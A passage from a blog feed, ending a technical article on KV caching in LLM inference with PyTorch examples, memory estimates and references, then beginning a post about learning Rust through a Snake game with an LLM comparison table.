&lt;p&gt;For each token, the model computes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Query vectors ($Q$): Represent the current element seeking information&lt;/li&gt;
&lt;li&gt;Key vectors ($K$): Act as reference points for all elements in the sequence&lt;/li&gt;
&lt;li&gt;Value vectors ($V$): Contain the actual information that will be aggregated&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attention computation follows the formula:
$$
\mathrm{Attention}(Q, K, V) = \mathrm{softmax} \left( \frac{QK^T}{\sqrt{d_k}} \right) V
$$&lt;/p&gt;
&lt;p&gt;LLMs are autoregressive; that is, text generation refers to the sequential process by which a model predicts each new token (word or subword) based on all previously generated tokens. This creates a dependency chain: every new token depends on the entire history of prior tokens. During autoregressive text generation, where models predict one token at a time using all previous tokens, the KV cache serves as a repository to &amp;ldquo;remember&amp;rdquo; the pre-computed key and value pairs from earlier tokens. Each new token requires attending to all previous tokens. Without optimization, this would necessitate recomputing all $K$ and $V$ matrices at every step, leading to quadratic time complexity.&lt;/p&gt;
&lt;h3 id=&#34;3-the-caching-process&#34;&gt;3. The Caching Process&lt;/h3&gt;
&lt;p&gt;The KV cache stores the computed key and value tensors for all previously generated tokens. When generating a new token, only its key and value are computed and appended, while the model attends to the full cache. This caching reduces redundant computation, transforming each inference step’s complexity from quadratic to linear with respect to sequence length—a foundational efficiency for scaling LLMs to long contexts.&lt;/p&gt;
&lt;p&gt;Without KV caching, transformers would have to recompute keys and values for all previous tokens during each generation step, resulting in quadratic computational complexity. The KV cache removes this inefficiency through the following process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Initial Generation:&lt;/strong&gt; When processing the first input token, the model calculates and stores its key and value vectors in the cache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subsequent Tokens:&lt;/strong&gt; For each new token, the model only computes the key and value for that specific token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache Appending:&lt;/strong&gt; New key-value pairs are appended to the existing cache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attention Computation:&lt;/strong&gt; The model uses the complete cached key-value history to compute attention with the current query.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This approach transforms the attention computation from quadratic $O(n^2)$ to linear $O(n)$ complexity in terms of sequence length.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example: Minimal KV Cache in PyTorch.&lt;/strong&gt;
This class provides a minimal example of how to store and update key-value tensors for autoregressive generation in a transformer model.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;KVCache&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;update&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, key, value):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; key
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; value
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cat([&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;], key], dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cat([&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;], value], dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_cache&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;4-memory-requirements-and-bottlenecks&#34;&gt;4. Memory Requirements and Bottlenecks&lt;/h3&gt;
&lt;p&gt;There is no free lunch, of course, and there are also practical memory considerations. The memory footprint of the KV cache is substantial, especially for long contexts. For large models, this can easily consume tens of gigabytes for long sequences, often exceeding the memory needed for model weights themselves.&lt;/p&gt;
&lt;p&gt;For example, with Llama-2-7B using half precision (FP16), for batch size 1, the KV cache consumes approximately 0.5MB per 1000 token. For a sequence of 28,000 tokens, this equals about 14GB of memory - the same amount required to store the entire model weights.&lt;/p&gt;
&lt;p&gt;Research shows that the KV cache can consume over 30% of GPU memory during deployment and become the primary memory bottleneck for long-context applications.
At a simplistic level, the required memory can be estimated as:&lt;/p&gt;
&lt;p&gt;$$
\text{Memory} = 2 \times \text{Precision} \times \text{Layers} \times \text{ModelDim} \times \text{SeqLen} \times \text{BatchSize}
$$&lt;/p&gt;
&lt;p&gt;Note her:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\text{Precision}$ is typically 2 bytes (FP16)&lt;/li&gt;
&lt;li&gt;$\text{Layers}$ is the number of transformer layers&lt;/li&gt;
&lt;li&gt;$\text{ModelDim}$ (a.k.a Model Dimension) is the hidden size per layer&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;5-what-would-happen-without-kv-cache&#34;&gt;5. What Would Happen Without KV Cache?&lt;/h3&gt;
&lt;p&gt;Understanding the importance of KV cache becomes clearer when you contemplate the consequences of its absence. The overall experience would be significantly worse, characterized by high latency, shorter context windows, and increased costs.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Severe slowdown: Every new token requires recomputing attention for all previous tokens, causing computation to grow quadratically with sequence length&lt;/li&gt;
&lt;li&gt;Unsustainable compute overhead: Each step repeats all previous attention calculations, wasting compute and energy.&lt;/li&gt;
&lt;li&gt;High latency and poor user experience: Users experience significant lag, especially for long-form or multi-turn conversations.&lt;/li&gt;
&lt;li&gt;Limited sequence lengths: Practical context limits shrink, and out-of-memory errors become common for large models.&lt;/li&gt;
&lt;li&gt;Inefficient hardware use: Lower throughput and increased energy consumption.&lt;/li&gt;
&lt;li&gt;No cache-level optimizations: No prompt reuse, no advanced memory management, and no opportunity for compression.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;6-the-new-trade-off-cache-size-vs-model-performance&#34;&gt;6. The New Trade-off: Cache Size vs. Model Performance&lt;/h3&gt;
&lt;p&gt;Recent studies have transformed the balance between KV cache size and model performance. Previously, decreasing the cache size directly impacted model quality, particularly for tasks that required long contexts or retrieval. Now, innovative approaches—utilizing quantization, pruning, and adaptive retention—enable significantly smaller caches, with minimal or virtually no decline in performance.&lt;/p&gt;
&lt;h4 id=&#34;61-token-precision-trade-off-quantized-pruning&#34;&gt;6.1. Token-Precision Trade-off: Quantized Pruning&lt;/h4&gt;
&lt;p&gt;A key breakthrough is the realization that storing more tokens at lower precision (quantized pruning) outperforms storing fewer tokens at high precision under the same memory budget.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Key finding: For example storing 4x as many tokens in 4-bit precision outperforms storing 1x tokens in 16-bit precision, especially for long-context and retrieval tasks. Note that the $‘4x’$ factor depends on model architecture, context, and task.&lt;/li&gt;
&lt;li&gt;Result: Quantized pruning preserves long-range context and enables robust performance across task types, input lengths, and model scales, even in extreme memory-constrained scenarios.&lt;/li&gt;
&lt;li&gt;Stability: This method is robust across various pruning and quantization strategies, providing a new paradigm for cache compression.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Code Example: Quantized Pruning&lt;/strong&gt;
This function demonstrates how to select and quantize the most important tokens in the KV cache to maximize memory efficiency with minimal accuracy loss.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;quantized_pruning&lt;/span&gt;(kv_cache, importance_scores, num_tokens_to_keep, num_bits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Select top tokens by importance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    top_indices &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; importance_scores&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;argsort()[&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;num_tokens_to_keep:]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    selected_kv &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; kv_cache[top_indices]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Quantize selected tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    scale &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (selected_kv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;max() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; selected_kv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;min()) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;num_bits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quantized &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ((selected_kv &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; selected_kv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;min()) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; scale)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;round()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;clamp(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;num_bits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; quantized, scale, selected_kv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;min()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;62-adaptive-and-selective-retention&#34;&gt;6.2. Adaptive and Selective Retention&lt;/h4&gt;
&lt;p&gt;Recent methods, such as FastGen and MorphKV, profile attention patterns at runtime to determine which tokens or cache entries are most relevant for each layer or head. This enables:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dynamic cache size: The cache adapts to attention diversity, keeping more entries where needed and aggressively compressing elsewhere.&lt;/li&gt;
&lt;li&gt;Constant-size caches: MorphKV, for instance, maintains a fixed-size cache by iteratively refining which tokens to keep using attention patterns, preserving long-range dependencies with minimal accuracy loss and &amp;gt;50% memory savings.&lt;/li&gt;
&lt;li&gt;Layer/head specialization: Different cache strategies can be applied to different layers or heads, rather than a one-size-fits-all approach.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;63-quantization-for-throughput-and-batch-size&#34;&gt;6.3. Quantization for Throughput and Batch Size&lt;/h4&gt;
&lt;p&gt;Hardware-aware quantization (e.g., FP8, INT8, 4-bit) dramatically reduces memory requirements and enables higher effective batch sizes, especially in decode-heavy serving scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Throughput gains: Quantizing the KV cache can provide up to 1.45× throughput improvement in real-world LLM serving, primarily by allowing more requests to be processed in parallel.&lt;/li&gt;
&lt;li&gt;Minimal accuracy loss: With careful quantization and dequantization strategies, there is little to no impact on model quality for most tasks.&lt;/li&gt;
&lt;li&gt;Implementation caveats: The speedup depends on the compatibility of quantized caches with high-performance attention kernels; some frameworks (e.g., TensorRT-LLM) benefit more than others (e.g., vLLM) depending on kernel optimizations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;64-system-level-optimizations&#34;&gt;6.4. System-Level Optimizations&lt;/h4&gt;
&lt;p&gt;Beyond algorithmic compression and adaptive retention, recent research has revealed significant performance gains through system-level KV cache optimizations. Frameworks like NVIDIA TensorRT-LLM and vLLM’s PagedAttention have re-architected cache management to resemble operating system virtual memory more closely, using paged or block-based KV storage to minimize memory fragmentation and enable efficient on-demand allocation.&lt;/p&gt;
&lt;p&gt;Other innovations, such as FlowKV, introduce distributed and disaggregated cache management strategies to reduce cache transfer latency and better utilize hardware resources across multiple nodes.&lt;/p&gt;
&lt;p&gt;These system-level enhancements complement algorithmic advances by improving scalability, throughput, and latency, ensuring that KV cache innovations are effectively translated into real-world production deployments, particularly for large-scale, multi-user LLM inference workloads.&lt;/p&gt;
&lt;h3 id=&#34;7-practical-implications&#34;&gt;7. Practical Implications&lt;/h3&gt;
&lt;p&gt;Efficient cache strategies have significant practical implications that affect both memory and computational requirements. By optimizing cache retention and compression techniques, these advancements create smaller yet smarter caches that free up resources. This enables larger batch sizes, longer context windows, and allows for deployment on less expensive or resource-constrained hardware. Such innovations greatly enhance the performance and scalability of language models, making them accessible to a wider range of users and applications.&lt;/p&gt;
&lt;p&gt;Moreover, these strategies enhance cost-effectiveness by reducing hardware demands and energy consumption. This not only lowers the financial barriers to deploying language models but also promotes sustainability within the field of machine learning. Additionally, the ability to track long-range dependencies with optimized cache management proves invaluable for tasks such as document retrieval, multi-turn dialogue generation, and summarization. These improvements underscore the importance of adaptive and efficient KV cache techniques in advancing the performance of large language models.&lt;/p&gt;
&lt;h3 id=&#34;8-conclusion&#34;&gt;8. Conclusion&lt;/h3&gt;
&lt;p&gt;KV cache management is a cornerstone of efficient LLM inference, especially as models scale and the size of the context windows expands. The field has rapidly advanced from basic caching to sophisticated, adaptive, and task-aware strategies that strike a balance between memory, speed, and accuracy. Without KV cache, modern LLMs would be too slow, costly, and limited for today’s real-world applications. As research continues, expect even more advanced cache management, enabling efficient inference for ever-larger models and longer contexts.&lt;/p&gt;
&lt;h5 id=&#34;references&#34;&gt;References&lt;/h5&gt;
&lt;span style=&#34;font-size:0.7em&#34;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://github.com/clam004/KV-caching-toy-example/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Minimal toy example of KV-cache (numpy)
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2405.14256&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ZipCache: Accurate and Efficient KV Cache Quantization with Salient Token Identification
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://docs.pytorch.org/torchtune/stable/generated/torchtune.modules.KVCache.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PyTorch torchtune KVCache documentation
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2402.02750&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		KIVI: A Tuning-Free Asymmetric 2bit Quantization for KV Cache
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2412.14838&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DynamicKV: Task-Aware Adaptive KV Cache Compression
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2403.06492&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		KV Caching in LLM Inference: A Comprehensive Review
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2405.14366&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MiniCache: KV Cache Compression in Depth Dimension
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2310.01801&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Model Tells You What to Discard: Adaptive KV Cache Compression for LLMs
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://huggingface.co/blog/not-lain/kv-caching&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HuggingFace blog: KV Caching Explained
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2411.17089&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		KVPR: Efficient LLM Inference with I/O-Aware KV Cache Partial Recomputation
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://github.com/xbeat/Machine-Learning/blob/main/Python%20KV%20Caching%20Efficient%20Data%20Storage%20and%20Retrieval.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Python KV Caching Efficient Data Storage and Retrieval
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2412.19442&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		A Survey on Large Language Model Acceleration based on KV Cache Management
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2412.12706&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		More Tokens, Lower Precision: Towards the Optimal Token-Precision Trade-off in KV Cache Compression
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2502.12665&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		A2ATS: Retrieval-Based KV Cache Reduction via Windowed Rotary Position Embedding and Query-Aware Vector Quantization
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/span&gt;
</description>
    </item>
    
    <item>
      <title>RustySnake - Classic Snake game to learn Rust</title>
      <link>/post/2025/03/rustysnake-snake-game-to-learn-rust/</link>
      <pubDate>Thu, 27 Mar 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/03/rustysnake-snake-game-to-learn-rust/</guid>
      <description>&lt;h3 id=&#34;1-overview&#34;&gt;1. Overview&lt;/h3&gt;
&lt;p&gt;Rust has been gaining attention recently due to its unique combination of performance, safety, and modern programming features. Its strict ownership model eliminates common memory issues like null pointer dereferencing and data races, providing a secure environment for developers. At the same time, its expressive syntax and focus on developer productivity make it a strong contender for systems programming. Its growing ecosystem and community continue to expand its capabilities into areas like web development and embedded systems, ensuring a confident and secure learning experience for developers.&lt;/p&gt;
&lt;p&gt;When diving into Rust, a language lauded for its speed and safety, I wanted to start with a fun and educational project. Inspired by my experience with C and C++, I decided to learn Rust by implementing a classic snake game - a project that not only provides a fun learning experience but also reinforces an understanding of programming fundamentals. This journey has introduced me to Rust&amp;rsquo;s unique features and reinforced my understanding of programming fundamentals, engaging and motivating me to learn more.&lt;/p&gt;
&lt;p&gt;As I embarked on this journey, I also wanted to understand how LLMs can assist in grasping Rust in terms of syntax, layout, flow, and execution aspects. These models played a crucial role in helping me debug and resolve issues, providing the necessary support and guidance in my learning process. For this, I used the following different models. Except for GPT 4o, I also want to run the others on my home GPU cluster - again, to help experiment with different aspects of inference.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phi 4&lt;/li&gt;
&lt;li&gt;Llama 3.3 70b Instruct&lt;/li&gt;
&lt;li&gt;Qwen 2.5B Coder 32B&lt;/li&gt;
&lt;li&gt;DeepSeek R1 Distill Llama 8B&lt;/li&gt;
&lt;li&gt;GPT 4o&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;11-llm-performance-comparison&#34;&gt;1.1. LLM Performance Comparison&lt;/h4&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Model&lt;/th&gt;
          &lt;th&gt;Code Generation&lt;/th&gt;
          &lt;th&gt;Error Explanation&lt;/th&gt;
          &lt;th&gt;Documentation&lt;/th&gt;
          &lt;th&gt;Overall Experience&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Phi 4&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️&lt;/td&gt;
          &lt;td&gt;Good for simpler tasks&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Llama 3.3 70b&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;Strong but inconsistent&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Qwen 2.5B Coder 32B&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;Excellent for code examples&lt;/td&gt;
